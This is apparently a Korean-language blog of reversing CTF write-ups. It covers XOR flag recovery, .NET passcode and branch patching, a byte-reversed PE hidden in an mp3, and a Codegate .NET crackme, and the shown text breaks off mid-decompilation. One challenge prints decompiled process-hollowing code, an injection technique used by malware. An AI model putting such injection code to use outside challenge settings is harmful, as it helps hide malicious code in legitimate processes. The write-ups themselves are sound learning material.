  v3 = HeapCreate(0x40000u, 0, 0);
  v4 = HeapAlloc(v3, 8u, 37u);
  memcpy_s(v4, 36u, &unk_409B10, 36u);
  if ( !*(*(__readfsdword(0x18u) + 48) + 2) )
  {
    __debugbreak();
    v5 = 0;
    v6 = (strlen(v4 + 1) >> 2) + 1;
    if ( v6 > 0 )
    {
      do
        *&v4[4 * v5++] ^= 0x8899AABB;
      while ( v5 < v6 );
    }
  }
  MessageBoxA(0, v4, "Flag", 2u);
  HeapFree(v3, 0, v4);
  HeapDestroy(v3);
  ExitProcess(0);
}

할당해주는 값 긁어와서 xor해주면된다.

from idaapi import *
from idautils import *
from itertools import *
a = []
for i in range(40):
	a.append(hex(Byte(i+0x409b10)))
a = [int(i,16) for i in a]
b = [0xbb,0xaa,0x99,0x88]
flag=""
for x,y in zip(a,cycle(b)):
	flag += chr(x^y)
print flag 

FLAG : flag{number2isalittlebitharder:p}


DotNet - 100pt

값을 입력받아서 그것과 num2랑 xor한 값이 num3면 된다고 한다.

밑에 부분은 AES Decrypt 해주는 부분이 있는데 맞는 입력 값을 넣으면 저기서 플래그를 만들어주는 거다.

using System;
using System.IO;
using System.Security.Cryptography;
using System.Threading;

namespace dotnetreversingchallenge
{
	// Token: 0x02000002 RID: 2
	internal class aClass
	{
		// Token: 0x06000001 RID: 1 RVA: 0x00002060 File Offset: 0x00000260
		private static void Main(string[] args)
		{
			Console.WriteLine("Greetings challenger! Step right up and try your shot at gaining the flag!");
			Console.WriteLine("You'll have to know the pascode to unlock the prize:");
			string value = Console.ReadLine();
			long num = Convert.ToInt64(value);
			long num2 = 53129566096L;
			long num3 = 65535655351L;
			if ((num ^ num2) == num3)
			{
				Console.WriteLine("yay");
			}
			else
			{
				Console.WriteLine("Incorrect, try again!");
			}
			try
			{
				byte[] iv = new byte[]
				{
					byte.MaxValue,
					byte.MaxValue,
					byte.MaxValue,
					byte.MaxValue,
					byte.MaxValue,
					byte.MaxValue,
					byte.MaxValue,
					byte.MaxValue,
					byte.MaxValue,
					byte.MaxValue,
					byte.MaxValue,
					byte.MaxValue,
					byte.MaxValue,
					byte.MaxValue,
					byte.MaxValue,
					byte.MaxValue
				};
				byte[] array = new byte[16];
				BitConverter.GetBytes(num).CopyTo(array, 0);
				BitConverter.GetBytes(num).CopyTo(array, 8);
				string s = "ls/5RTxwflDrqr5G8pO9cQ1NlgQcFjcJj9x4z7oIhlfY4w42GAFqKbyzwqHAZQBZa5ctysKKWIbTgU2VxoRYohxCbPyV6sEU/tn+sIxNg6A/r5OJnIMqTs0seMrzWh5J";
				Thread.Sleep(500);
				Console.WriteLine(aClass.DecryptStringFromBytes_Aes(Convert.FromBase64String(s), array, iv));
				Console.WriteLine("Success!!");
			}
			catch (Exception arg)
			{
				Console.WriteLine("ERROR!!! darn. huh? how did I get here? Hmm, something must have gone wrong. What am I doing?", arg);
			}
			Console.WriteLine("press key to continue");
			Console.ReadKey();
		}

		// Token: 0x06000002 RID: 2 RVA: 0x00002174 File Offset: 0x00000374
		private static byte[] EncryptStringToBytes_Aes(string plainText, byte[] Key, byte[] IV)
		{
			if (plainText == null || plainText.Length <= 0)
			{
				throw new ArgumentNullException("plainText");
			}
			if (Key == null || Key.Length <= 0)
			{
				throw new ArgumentNullException("Key");
			}
			if (IV == null || IV.Length <= 0)
			{
				throw new ArgumentNullException("Key");
			}
			byte[] result;
			using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
			{
				aesCryptoServiceProvider.Key = Key;
				aesCryptoServiceProvider.IV = IV;
				ICryptoTransform transform = aesCryptoServiceProvider.CreateEncryptor(aesCryptoServiceProvider.Key, aesCryptoServiceProvider.IV);
				using (MemoryStream memoryStream = new MemoryStream())
				{
					using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write))
					{
						using (StreamWriter streamWriter = new StreamWriter(cryptoStream))
						{
							streamWriter.Write(plainText);
						}
						result = memoryStream.ToArray();
					}
				}
			}
			return result;
		}

		// Token: 0x06000003 RID: 3 RVA: 0x000022CC File Offset: 0x000004CC
		private static string DecryptStringFromBytes_Aes(byte[] cipherText, byte[] Key, byte[] IV)
		{
			if (cipherText == null || cipherText.Length <= 0)
			{
				throw new ArgumentNullException("cipherText");
			}
			if (Key == null || Key.Length <= 0)
			{
				throw new ArgumentNullException("Key");
			}
			if (IV == null || IV.Length <= 0)
			{
				throw new ArgumentNullException("IV");
			}
			string result = null;
			using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
			{
				aesCryptoServiceProvider.Key = Key;
				aesCryptoServiceProvider.IV = IV;
				ICryptoTransform transform = aesCryptoServiceProvider.CreateDecryptor(aesCryptoServiceProvider.Key, aesCryptoServiceProvider.IV);
				using (MemoryStream memoryStream = new MemoryStream(cipherText))
				{
					using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read))
					{
						using (StreamReader streamReader = new StreamReader(cryptoStream))
						{
							result = streamReader.ReadToEnd();
						}
					}
				}
			}
			return result;
		}
	}
}

간단하다 매우 53129566096 ^ 65535655351해주면 13371337255이 나오는데 이거 입력해주면 된다.

FLAG : flag{I'll create a GUI interface using visual basic...see if I can track an IP address.}


bikinibonanza - 150pt

.NET 파일이다.

여기 마지막에 플래그 출력해주는 분기가 있는데 brfalse.s를 brtrue.s로 바꿔주면 된다.

CIL instructions

그러면 플래그 출력해주는 분기로 가서 아무거나 입력해도 플래그가 출력된다.

FLAG : key(0920303251BABE89911ECEAD17FEBF30)

2015 Layer7 CTF ReverseMe

로꾸꺼 는 2015년 Layer7 CTF에서라는 리버싱 150점짜리 문제이다.

ReverseMe.mp3 라는 파일이 주어졌다. 근데 이 mp3를 열어보면 로꾸꺼 노래가 나오고 정말 수상햇다.

f = open('ReverseMe.mp3','rb')
f2 = open("ReverseMe.exe","wb")
data = f.read()
f.close()
f2.write(data[::-1])
f2.close()

hex 값을 보니까 PE 헤더가 다 로꾸꺼하게 되있어서 우선 파일의 값을 다 로꾸꺼해주었다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  printf("input : ");
  scanf("%s", &hostlong);
  if ( sub_401060() )
  {
    printf("Correct !\n");
    printf("flag is %s\n", &hostlong);
  }
  else
  {
    printf("InCorrect ..");
  }
  return 0;
}

main의 흐름은 입력받아 입력 받은 값이 맞는지 비교해주고 Correct ! 떠서 맞으면 입력한 값이 플래그다.

BOOL sub_401060()
{
  u_long v1; // edi
  u_long v2; // ebx
  signed int v3; // esi
  int v4; // edi
  unsigned int v5; // eax
  int v6; // eax

  if ( strlen(&hostlong) != 8 )
    return 0;
  v1 = dword_40336C;
  v2 = htonl(hostlong);
  v3 = 0;
  v4 = htonl(v1);
  do
  {
    switch ( v3 )
    {
      case 0:
        v5 = sub_401110(v4);
        goto LABEL_9;
      case 1:
        v5 = sub_401160(v4);
        goto LABEL_9;
      case 2:
        v5 = sub_4011B0(v4);
        goto LABEL_9;
      case 4:
        v5 = sub_401200(v4);
LABEL_9:
        v2 ^= v5;
        break;
      default:
        break;
    }
    v6 = v2;
    ++v3;
    v2 = v4;
    v4 = v6;
  }
  while ( v3 < 4 );
  return v6 == 0x72659830 && v2 == 0x64C38B40;
}

우선 8바이트를 input 받는다는걸 알았다. 그리고 htonl 함수를 써서 4바이트씩 나눠서 연산하는 것 같다.

  • 참고
u_long htonl(u_long hostlong); 
unsigned int a = 0x12345678;
printf("%#x %#x\n",a, htonl(a));
>> 0x12345678 0x56781234

그래서 AAAABBBB 를 입력해주고 마지막 리턴해줄 때 참을 만들어야한다.

앞에 AAAA 4바이트를 입력한건 어떠한 연산을 하고 eax에 저장한 후 v6와 비교한다.

뒤에 BBBB 4바이트를 입력한건 어떠한 연산을 하고 ebx에 저장한 후 v2와 비교한다.

디버깅해보면서 마지막에 비교할 때 eax 값을 보니까 0x4141BE14 였는데

앞에 두 글자는 그대로 들어가고 뒤에 두 글자는 어떠한 연산을 해서 나온다는 걸 알 수 있다.

그리고 ebx 값을 보면 0x42E8BD42 이런식으로 들어가는데

첫 글자와 마지막 글자만 입력한 그대로 들어가는 것 같다.

이번에는 BBBBAAAA 를 넣게되면 eax는 0x4242BD17 , ebx는 0x41EBBE0x41 이렇게 들어가있다.

그래서 현재까지 알아낸건 아래와 같다.

flag[0] = 0x72
flag[1] = 0x65
flag[4] = 0x64
flag[7] = 0x40 
flag = 're??d??@'

현재까지 re??d??@ 4글자 알아냈다.

나머지는 xor 연산을 해주는걸 알게되었다.

0x4141 2바이트 입력하게되면 0xBE14 가 나온다. 그러면 역연산을 하면 된다.

0xBE14 ^ 0x4141 = 65365
0xBD16 ^ 0x4242 = 65365

그러면 이제 입력한 값과 65365와 xor한 값이 0x9830이 나와야한다.

0x9830 ^ 65365 = 0x6765 

그러므로 2번째 인덱스의 값은 0x67(g), 3번째 인덱스의 값은 0x65(e)이다.

현재까지 reged??@ 이만큼 구했다. 이제 5,6번째 인덱스의 값만 구해주면 된다.

아까처럼 역연산해주면 된다.

0xE8BD ^ 0x4242 = 43775
0xEBBE ^ 0x4141 = 43775

이제 입력한 값과 43775와 xor한 값이 0xC38B이 나오면 된다.

0xc38b ^ 43775 = 0x6974

5번째 인덱스는 0x69(i), 6번째 인덱스는 0x74(t) 이다.

그러면 이제 다 구했다.

regedit@ 을 입력하면 Correct가 뜰 것이다.

FLAG : regedit@

2018 ROOT CTF Reversing Writeup

ROOT_Process_1

int sub_EA1860()
{
  int v0; // edx
  int v1; // ecx
  int v2; // edx
  int v3; // ecx
  int v4; // edx
  int v5; // ecx
  int v6; // edx
  int v7; // ecx
  int v8; // edx
  int v9; // ecx
  int v10; // edx
  int v11; // ecx
  int v12; // edx
  int v13; // ecx
  int v14; // edx
  int v15; // ecx
  int v16; // edx
  int v17; // edx
  int v18; // ecx
  int v19; // ST08_4
  DWORD v21; // [esp+250h] [ebp-448h]
  HWND hWnd; // [esp+25Ch] [ebp-43Ch]
  int j; // [esp+268h] [ebp-430h]
  CHAR *v24; // [esp+274h] [ebp-424h]
  unsigned int i; // [esp+280h] [ebp-418h]
  BOOL v26; // [esp+28Ch] [ebp-40Ch]
  PROCESSENTRY32 pe; // [esp+298h] [ebp-400h]
  char Dst[280]; // [esp+3C8h] [ebp-2D0h]
  size_t v29; // [esp+4E0h] [ebp-1B8h]
  int v30; // [esp+4ECh] [ebp-1ACh]
  int v31; // [esp+4F8h] [ebp-1A0h]
  int v32; // [esp+504h] [ebp-194h]
  DWORD dwProcessId; // [esp+510h] [ebp-188h]
  HANDLE hSnapshot; // [esp+528h] [ebp-170h]
  int v35; // [esp+640h] [ebp-58h]
  int v36; // [esp+644h] [ebp-54h]
  int v37; // [esp+648h] [ebp-50h]
  int v38; // [esp+64Ch] [ebp-4Ch]
  int v39; // [esp+650h] [ebp-48h]
  int v40; // [esp+654h] [ebp-44h]
  int v41; // [esp+658h] [ebp-40h]
  int v42; // [esp+65Ch] [ebp-3Ch]
  int v43; // [esp+660h] [ebp-38h]
  int v44; // [esp+664h] [ebp-34h]
  int v45; // [esp+668h] [ebp-30h]
  int v46; // [esp+66Ch] [ebp-2Ch]
  int v47; // [esp+670h] [ebp-28h]
  int v48; // [esp+674h] [ebp-24h]
  int v49; // [esp+678h] [ebp-20h]
  int v50; // [esp+67Ch] [ebp-1Ch]
  int v51; // [esp+680h] [ebp-18h]
  int v52; // [esp+684h] [ebp-14h]
  int v53; // [esp+688h] [ebp-10h]
  int v54; // [esp+68Ch] [ebp-Ch]
  int v55; // [esp+694h] [ebp-4h]
  int savedregs; // [esp+698h] [ebp+0h]

  sub_EA1235(&unk_EAC017);
  system("title Very_easy_Reversing!");
  sub_EA123F(v1, v0);
  v35 = 31;
  v36 = 41;
  v37 = 66;
  v38 = 15;
  v39 = 58;
  v40 = 50;
  v41 = 40;
  v42 = 29;
  v43 = 23;
  v44 = 49;
  v45 = 19;
  v46 = 21;
  v47 = 71;
  v48 = 87;
  v49 = 65;
  v50 = 69;
  v51 = 71;
  v52 = 11;
  v53 = 31;
  v54 = 68;
  hSnapshot = j_CreateToolhelp32Snapshot(2u, 0);
  GetCurrentProcessId();
  dwProcessId = sub_EA123F(v3, v2);
  GetCurrentThread();
  v32 = sub_EA123F(v5, v4);
  OpenProcess(0x2000000u, 1, dwProcessId);
  v31 = sub_EA123F(v7, v6);
  GetCurrentProcessId();
  v30 = sub_EA123F(v9, v8);
  j_memset(Dst, 0, 0x104u);
  if ( hSnapshot )
  {
    pe.dwSize = 296;
    v26 = j_Process32First(hSnapshot, &pe);
    while ( v26 )
    {
      v26 = j_Process32Next(hSnapshot, &pe);
      v29 = j_strlen(pe.szExeFile);
      for ( i = 0; i < 0x14; ++i )
        pe.szExeFile[i] ^= *(&v35 + 4 * i);
      j_memset(Dst, 0, 4u);
      v24 = pe.szExeFile;
      for ( j = 0; j < 20; ++j )
        Dst[j] = v24[j];
      FindWindowA(0, Dst);
      hWnd = sub_EA123F(v11, v10);
      if ( hWnd )
      {
        GetWindowThreadProcessId(hWnd, &v21);
        sub_EA123F(v13, v12);
        if ( v21 == v30 )
        {
          sub_EA104B("Correct\n");
          system("pause");
          sub_EA123F(v15, v14);
          goto LABEL_15;
        }
      }
    }
  }
  system("pause");
  sub_EA123F(v18, v17);
LABEL_15:
  sub_EA1262(&savedregs, &dword_EA1B9C, 0, v16);
  return sub_EA123F(&savedregs ^ v55, v19);
}

중간에 보면 0x14길이 만큼 테이블값과 xor해주는 연산이 있다.

프로세스 이름과 *(&v35 + 4 * i)이 xor해준다.

table=[0x1f,0x29,0x42,0xf,0x3a,0x32,0x28,0x1d,0x17,0x31,0x13,0x15,0x47,0x57,0x41,0x45,0x47,0xb,0x1f,0x44]
process = "Very_easy_Reversing!"
print ''.join(chr(table[i]^ord(process[i])) for i in range(20))

FLAG : IL0veWInnnAp1236.exe


ROOT_Process_2

위에 변수가 9195개 선언되어있는데 생략했다.

너무 커서 헥스레이가 안돌아가는데 hexrays.cfg를 고쳐서 10000넘게 고쳐주면 헥스레이로 볼 수 있다.

  memset(&Dst, 0, 0x44u);
  ProcessHandle = 0;
  ThreadHandle = 0;
  v11 = 0;
  v12 = 0;
  Context.ContextFlags = 65543;
  sub_401020("input : ", savedregs);
  v9199 = &v14;
  sub_401050("%[^\n]s", &v14);
  GetModuleFileNameA(0, &Filename, 0x104u);
  CreateProcessA(&Filename, 0, 0, 0, 0, 4u, 0, 0, &Dst, &ProcessHandle);
  lpAddress = VirtualAlloc(0, 0x240Au, 0x3000u, 4u);
  v9198 = &Src;
  v9197 = lpAddress;
  memcpy(lpAddress, &Src, 0x2400u);
  if ( *lpAddress == 23117 )
  {
    v6 = lpAddress + lpAddress[15];
    NtGetContextThread(ThreadHandle, &Context);
    NtReadVirtualMemory(ProcessHandle, (Context.Ebx + 8), &Buffer, 4u, 0);
    if ( Buffer == *(v6 + 52) )
      NtUnmapViewOfSection(ProcessHandle, Buffer);
    v9199 = 64;
    v9198 = 12288;
    v9197 = *(v6 + 80);
    v9196 = *(v6 + 52);
    BaseAddress = VirtualAllocEx(ProcessHandle, v9196, v9197, 0x3000u, 0x40u);
    if ( BaseAddress )
    {
      v9199 = 0;
      NtWriteVirtualMemory(ProcessHandle, BaseAddress, lpAddress, *(v6 + 84), 0);
      for ( i = 0; i < *(v6 + 6); ++i )
      {
        v2 = (&lpAddress[10 * i + 62] + lpAddress[15]);
        v9199 = 0;
        NtWriteVirtualMemory(ProcessHandle, &BaseAddress[v2[3]], lpAddress + v2[5], v2[4], 0);
      }
      Context.Eax = &BaseAddress[*(v6 + 40)];
      NtWriteVirtualMemory(ProcessHandle, (Context.Ebx + 8), (v6 + 52), 4u, 0);
      NtSetContextThread(ThreadHandle, &Context);
      NtResumeThread(ThreadHandle, 0);
      NtWaitForSingleObject(ProcessHandle, 0, 0);
      NtClose(ThreadHandle);
      NtClose(ProcessHandle);
      VirtualFree(lpAddress, 0, 0x8000u);
      result = 0;
    }
    else
    {
      NtTerminateProcess(ProcessHandle, 1);
      result = -1;
    }
  }
  else
  {
    NtTerminateProcess(ProcessHandle, 1);
    result = 1;
  }
  return result;
}

Codegate Open CTF에서도 나온 Process Hollowing 기법이다.

아래 처럼 동작한다. 나는 동적 디버깅해서 win32_remote.exe가 뜨는건데 그 밑에 ROOT_Process2.exe 보면 된다.

Process를 하나 생성해주니까 대충 생성되어 쓴 곳에서 브레이크 걸고 그때 프로세스 pid 가져와서 메모리 덤프 떠주면 된다.

그러면 그 덤프뜬 파일을 보면 제대로 덤프를 떠졌다.

signed int __cdecl sub_401000(int a1, int a2)
{
  signed int result; // eax
  int v3; // edi
  int v4; // esi
  char v5; // bl
  char v6; // al
  int v7; // esi
  int v8; // eax
  int v9; // edx
  char v10[260]; // [esp+4h] [ebp-11Ch]
  __int128 v11; // [esp+108h] [ebp-18h]
  int v12; // [esp+118h] [ebp-8h]
  char v13; // [esp+11Ch] [ebp-4h]
  const char **v14; // [esp+128h] [ebp+8h]

  srand(1u);
  v12 = 139343166;
  v13 = 123;
  v11 = xmmword_402130;
  if ( a1 == 1 )
  {
    MessageBoxA(0, "Incorrect", "ROOTCTF", 0);
    result = -1;
  }
  else
  {
    v3 = a1 - 1;
    v4 = 0;
    if ( a1 - 1 > 0 )
    {
      v14 = (a2 + 4);
      do
      {
        v5 = rand() % 127;
        v6 = atoi(*v14);
        ++v14;
        v10[v4++] = v5 ^ v6;
      }
      while ( v4 < v3 );
    }
    v7 = 0;
    v8 = 0;
    if ( v3 <= 0 )
      goto LABEL_15;
    do
    {
      v9 = v7 + 1;
      if ( v10[v8] != *(&v11 + v8) )
        v9 = v7;
      ++v8;
      v7 = v9;
    }
    while ( v8 < v3 );
    if ( v9 != 21 )
    {
LABEL_15:
      MessageBoxA(0, "Incorrect", "ROOTCTF", 0);
      result = 0;
    }
    else
    {
      MessageBoxA(0, "Correct", "ROOTCTF", 0);
      result = 0;
    }
  }
  return result;
}

srand(1)이고 rand() % 127 값과 테이블이 xor 연산을 하는 것을 알 수 있다. 쉽게 역연산해서 구할 수 있다.

from ctypes import *
xmmword_402130 = [0x6f,0x78,0x2e,0x13,0x0c,0x35,0x00,0x7a,0x72,0x0f,0x44,0x20,0x62,0x5a,0x54,0x2e,0x3e,0x35,0x4e,0x08,0x7b]

libc = CDLL('msvcrt')
libc.srand(1)
flag = []
for i in range(len(xmmword_402130)):
	flag.append(xmmword_402130[i]^(libc.rand()%127))
print ''.join(chr(flag[i]) for i in range(len(xmmword_402130)))

FLAG : FLAG{R0oT_1nJec@t1On}

2013 Codegate Prequel binary 100

.NET 바이너리가 주어졌다.

이 바이너리 소스인데 좀 길지만 보면 쉽다.

using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using Crack_Test.Properties;

namespace Crack_Test
{
	// Token: 0x02000003 RID: 3
	public class Crack_Game : Form
	{
		// Token: 0x06000004 RID: 4 RVA: 0x00002158 File Offset: 0x00000358
		public Crack_Game()
		{
			this.a();
			this.r.MaxLength = 25;
		}

		// Token: 0x06000005 RID: 5 RVA: 0x000021DC File Offset: 0x000003DC
		public bool TextInput(int txt)
		{
			bool result;
			if (this.r.MaxLength > this.r.TextLength)
			{
				TextBox textBox = this.r;
				textBox.Text += txt;
				result = true;
			}
			else
			{
				MessageBox.Show("length error!!");
				result = false;
			}
			return result;
		}

		// Token: 0x06000006 RID: 6 RVA: 0x0000223C File Offset: 0x0000043C
		private void m(object A_0, EventArgs A_1)
		{
			this.b = 1;
			this.TextInput(this.b);
		}

		// Token: 0x06000007 RID: 7 RVA: 0x00002253 File Offset: 0x00000453
		private void l(object A_0, EventArgs A_1)
		{
			this.b = 2;
			this.TextInput(this.b);
		}

		// Token: 0x06000008 RID: 8 RVA: 0x0000226A File Offset: 0x0000046A
		private void k(object A_0, EventArgs A_1)
		{
			this.b = 3;
			this.TextInput(this.b);
		}

		// Token: 0x06000009 RID: 9 RVA: 0x00002281 File Offset: 0x00000481
		private void j(object A_0, EventArgs A_1)
		{
			this.b = 4;
			this.TextInput(this.b);
		}

		// Token: 0x0600000A RID: 10 RVA: 0x00002298 File Offset: 0x00000498
		private void i(object A_0, EventArgs A_1)
		{
			this.b = 5;
			this.TextInput(this.b);
		}

		// Token: 0x0600000B RID: 11 RVA: 0x000022AF File Offset: 0x000004AF
		private void h(object A_0, EventArgs A_1)
		{
			this.b = 6;
			this.TextInput(this.b);
		}

		// Token: 0x0600000C RID: 12 RVA: 0x000022C6 File Offset: 0x000004C6
		private void g(object A_0, EventArgs A_1)
		{
			this.b = 7;
			this.TextInput(this.b);
		}

		// Token: 0x0600000D RID: 13 RVA: 0x000022DD File Offset: 0x000004DD
		private void f(object A_0, EventArgs A_1)
		{
			this.b = 8;
			this.TextInput(this.b);
		}

		// Token: 0x0600000E RID: 14 RVA: 0x000022F4 File Offset: 0x000004F4
		private void e(object A_0, EventArgs A_1)
		{
			this.b = 9;
			this.TextInput(this.b);
		}

		// Token: 0x0600000F RID: 15 RVA: 0x0000230C File Offset: 0x0000050C
		private void d(object A_0, EventArgs A_1)
		{
			this.b = 0;
			this.TextInput(this.b);
		}

		// Token: 0x06000010 RID: 16 RVA: 0x00002324 File Offset: 0x00000524
		private void c(object A_0, EventArgs A_1)
		{
			try
			{
				this.r.Text = string.Empty;
			}
			catch (Exception ex)
			{
				Trace.WriteLine(ex.Message);
			}
		}

		// Token: 0x06000011 RID: 17 RVA: 0x0000236C File Offset: 0x0000056C
		private void b(object A_0, EventArgs A_1)
		{
			this.Shadowkey = "N0\u0005\u001aO+/\fN<37JRLJ\u001e\f\u0014\u000f\u000f";
			string data = string.Empty;
			string str = string.Empty;
			if (this.r.Text != "")
			{
				this.Shadowkey += "\u0014\u000f\u000f\u0017\u001c<J\a\u001a)%M\f\u0015\u001f<2\u000fE\u001e\u00122\u0010V9\u00166H-\u0012@";
				data = AESCrypt.Encrypt(this.r.Text, Crack_Game.KeyValue);
				str = this.xorToString(data);
				Trace.WriteLine("Encrypt key:" + str);
				this.TransFormable(this.r.Text);
				if (this.r.Text.Length != 16)
				{
					string data2 = this.a.TransForm_S();
					string text = this.a.TransForm_B(data2);
					MessageBox.Show(text);
				}
			}
			else
			{
				string text2 = this.a.Md5hash(this.r.Text);
				byte[] array = this.a.stringTobyte(AESCrypt.Encrypt(this.r.Text, Crack_Game.KeyValue));
				string str2 = "";
				for (int i = 0; i < array.Length; i++)
				{
					str2 += string.Format(" {0:X2}", array[i]);
				}
				for (int i = 0; i < array.Length; i++)
				{
					array[i] ^= 67;
				}
				string data3 = this.a.ByteTostring_t(array);
				byte[] array2 = this.a.stringTobyte(this.a.TransForm());
				for (int i = 0; i < array2.Length; i++)
				{
					array2[i] ^= 67;
				}
				string text3 = AESCrypt.Decrypt(this.a.ByteTostring_t(array2), Crack_Game.KeyValue);
				this.a.TransForm_B(data3);
				Trace.WriteLine(this.a.TransForm_B(data3));
				MessageBox.Show("input password :");
			}
		}

		// Token: 0x06000012 RID: 18 RVA: 0x0000258C File Offset: 0x0000078C
		public byte[] stringTobyte(string str)
		{
			return Encoding.UTF8.GetBytes(str.ToCharArray());
		}

		// Token: 0x06000013 RID: 19 RVA: 0x000025B0 File Offset: 0x000007B0
		public string ByteTostring(byte[] bt)
		{
			string text = "";
			for (int i = 0; i < bt.Length; i++)
			{
				text += Encoding.Default.GetString(bt, i, 1);
			}
			return text;
		}

		// Token: 0x06000014 RID: 20 RVA: 0x000025F4 File Offset: 0x000007F4
		public void TransFormable(string Data)
		{
			if (Data.Length == 16)
			{
				if (this.xorToString(AESCrypt.Encrypt(this.r.Text, Crack_Game.KeyValue)) == this.lowkey)
				{
					string textToDecrypt = this.StringToXOR(this.a.ByteTostring_t(this.c));
					string text = AESCrypt.Decrypt(textToDecrypt, Crack_Game.KeyValue);
					MessageBox.Show(text);
				}
				else
				{
					string textToDecrypt2 = this.StringToXOR(this.a.ByteTostring_t(this.d));
					string str = AESCrypt.Decrypt(textToDecrypt2, Crack_Game.KeyValue);
					MessageBox.Show("Do you know ?  " + str);
				}
			}
		}

		// Token: 0x06000015 RID: 21 RVA: 0x000026B0 File Offset: 0x000008B0
		public string StringToXOR(string data)
		{
			string empty = string.Empty;
			byte[] array = new byte[data.Length];
			array = this.stringTobyte(data);
			for (int i = 0; i < array.Length; i++)
			{
				array[i] ^= 37;
				array[i] ^= 88;
			}
			return this.ByteTostring(array);
		}

		// Token: 0x06000016 RID: 22 RVA: 0x00002710 File Offset: 0x00000910
		public string xorToString(string data)
		{
			string empty = string.Empty;
			byte[] array = new byte[data.Length];
			array = this.stringTobyte(data);
			for (int i = 0; i < array.Length; i++)
			{
				array[i] ^= 21;
			}
			return this.ByteTostring(array);
		}

		// Token: 0x06000017 RID: 23 RVA: 0x00002765 File Offset: 0x00000965
		private void a(object A_0, EventArgs A_1)
		{
		}

		// Token: 0x06000018 RID: 24 RVA: 0x00002768 File Offset: 0x00000968
		protected override void Dispose(bool disposing)
		{
			if (disposing && this.e != null)
			{
				this.e.Dispose();
			}
			base.Dispose(disposing);
		}

		// Token: 0x06000019 RID: 25 RVA: 0x000027A0 File Offset: 0x000009A0
		private void a()
		{
			this.f = new Button();
			this.g = new Button();
			this.h = new Button();
			this.i = new Button();
			this.j = new Button();
			this.k = new Button();
			this.l = new Button();
			this.m = new Button();
			this.n = new Button();
			this.o = new Button();
			this.p = new Button();
			this.q = new Button();
			this.r = new TextBox();
			this.s = new Label();
			base.SuspendLayout();
			this.f.Image = Resources.num_14;
			this.f.Location = new Point(25, 62);
			this.f.Name = "button1";
			this.f.Size = new Size(56, 56);
			this.f.TabIndex = 0;
			this.f.UseVisualStyleBackColor = true;
			this.f.Click += this.m;
			this.g.Image = Resources.num_21;
			this.g.Location = new Point(101, 62);
			this.g.Name = "button2";
			this.g.Size = new Size(56, 56);
			this.g.TabIndex = 1;
			this.g.UseVisualStyleBackColor = true;
			this.g.Click += this.l;
			this.h.Image = Resources.num_3;
			this.h.Location = new Point(177, 62);
			this.h.Name = "button3";
			this.h.Size = new Size(56, 56);
			this.h.TabIndex = 2;
			this.h.UseVisualStyleBackColor = true;
			this.h.Click += this.k;
			this.i.Image = Resources.num_4;
			this.i.Location = new Point(25, 124);
			this.i.Name = "button4";
			this.i.Size = new Size(56, 56);
			this.i.TabIndex = 3;
			this.i.UseVisualStyleBackColor = true;
			this.i.Click += this.j;
			this.j.Image = Resources.num_5;
			this.j.Location = new Point(101, 124);
			this.j.Name = "button5";
			this.j.Size = new Size(56, 56);
			this.j.TabIndex = 4;
			this.j.UseVisualStyleBackColor = true;
			this.j.Click += this.i;
			this.k.Image = Resources.num_6;
			this.k.Location = new Point(177, 124);
			this.k.Name = "button6";
			this.k.Size = new Size(56, 56);
			this.k.TabIndex = 5;
			this.k.UseVisualStyleBackColor = true;
			this.k.Click += this.h;
			this.l.Image = Resources.num_7;
			this.l.Location = new Point(25, 188);
			this.l.Name = "button7";
			this.l.Size = new Size(56, 56);
			this.l.TabIndex = 6;
			this.l.UseVisualStyleBackColor = true;
			this.l.Click += this.g;
			this.m.Image = Resources.num_8;
			this.m.Location = new Point(101, 188);
			this.m.Name = "button8";
			this.m.Size = new Size(56, 56);
			this.m.TabIndex = 7;
			this.m.UseVisualStyleBackColor = true;
			this.m.Click += this.f;
			this.n.Image = Resources.num_9;
			this.n.Location = new Point(177, 188);
			this.n.Name = "button9";
			this.n.Size = new Size(56, 56);
			this.n.TabIndex = 8;
			this.n.UseVisualStyleBackColor = true;
			this.n.Click += this.e;
			this.o.Image = Resources.num_0;
			this.o.Location = new Point(101, 249);
			this.o.Name = "button10";
			this.o.Size = new Size(56, 56);
			this.o.TabIndex = 9;
			this.o.UseVisualStyleBackColor = true;
			this.o.Click += this.d;
			this.p.Font = new Font("굴림", 17f);
			this.p.Image = Resources.key_;
			this.p.Location = new Point(25, 249);
			this.p.Name = "button11";
			this.p.Size = new Size(56, 56);
			this.p.TabIndex = 10;
			this.p.UseVisualStyleBackColor = true;
			this.p.Click += this.b;
			this.q.Image = Resources.key__;
			this.q.Location = new Point(177, 249);
			this.q.Name = "Bt_Delete";
			this.q.Size = new Size(56, 56);
			this.q.TabIndex = 11;
			this.q.UseVisualStyleBackColor = true;
			this.q.Click += this.c;
			this.r.Enabled = false;
			this.r.Location = new Point(25, 25);
			this.r.MaxLength = 1;
			this.r.Name = "textBox_Input";
			this.r.Size = new Size(208, 21);
			this.r.TabIndex = 12;
			this.r.TextAlign = HorizontalAlignment.Right;
			this.s.AutoSize = true;
			this.s.Location = new Point(81, 370);
			this.s.Name = "label_Msg";
			this.s.Size = new Size(0, 12);
			this.s.TabIndex = 13;
			base.AutoScaleDimensions = new SizeF(7f, 12f);
			base.AutoScaleMode = AutoScaleMode.Font;
			this.BackgroundImage = Resources.codegate_back4;
			base.ClientSize = new Size(263, 399);
			base.Controls.Add(this.s);
			base.Controls.Add(this.r);
			base.Controls.Add(this.q);
			base.Controls.Add(this.p);
			base.Controls.Add(this.o);
			base.Controls.Add(this.n);
			base.Controls.Add(this.m);
			base.Controls.Add(this.l);
			base.Controls.Add(this.k);
			base.Controls.Add(this.j);
			base.Controls.Add(this.i);
			base.Controls.Add(this.h);
			base.Controls.Add(this.g);
			base.Controls.Add(this.f);
			this.Cursor = Cursors.Arrow;
			this.Font = new Font("굴림", 9f);
			base.FormBorderStyle = FormBorderStyle.FixedToolWindow;
			base.Name = "Crack_Game";
			base.StartPosition = FormStartPosition.CenterScreen;
			this.Text = "Door_Lock";
			base.TopMost = true;
			base.Load += this.a;
			base.ResumeLayout(false);
			base.PerformLayout();
		}

		// Token: 0x04000003 RID: 3
		private StringCrypt a = new StringCrypt();

